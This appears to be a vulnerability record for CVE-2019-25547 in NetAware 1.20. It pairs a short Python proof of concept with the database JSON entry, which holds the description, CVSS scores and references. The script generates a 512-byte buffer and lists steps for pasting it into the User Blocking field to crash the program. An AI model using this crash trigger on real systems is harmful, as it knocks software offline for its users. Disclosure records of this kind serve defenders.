CVE-2019-25547

import sys # Generate a malicious buffer of 512 bytes # The vulnerability triggers when a buffer of this size is processed buffer = "A" * 512 print(f"[+] Generated payload length: {len(buffer)} bytes") print("[+] Payload content (first 50 bytes):", buffer[:50]) # Concept of Use: # 1. Copy the generated buffer. # 2. Open NetAware 1.20. # 3. Navigate to 'User Blocking' feature. # 4. Paste the buffer into the 'Add a website or keyword to be filtered' field. # 5. Create the block. # 6. Remove the created block to trigger the crash.

{"cve": {"id": "CVE-2019-25547", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:16.573", "lastModified": "2026-03-23T17:32:12.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NetAware 1.20 contains a buffer overflow vulnerability in the User Blocking feature that allows local attackers to crash the application by supplying oversized input. Attackers can paste a malicious buffer of 512 bytes into the 'Add a website or keyword to be filtered' field and trigger a crash when removing the created block."}, {"lang": "es", "value": "NetAware 1.20 contiene una vulnerabilidad de desbordamiento de búfer en la función de Bloqueo de Usuario que permite a atacantes locales bloquear la aplicación al proporcionar una entrada sobredimensionada. Los atacantes pueden pegar un búfer malicioso de 512 bytes en el campo 'Añadir un sitio web o palabra clave para filtrar' y provocar un bloqueo al eliminar el bloque creado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:spytech-web:netaware:1.20:*:*:*:*:*:*:*", "matchCriteriaId": "10749717-44DE-4A1C-BF7C-9FE0C06465F6"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46908", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.infiltration-systems.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/netaware-denial-of-service-via-add-block-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}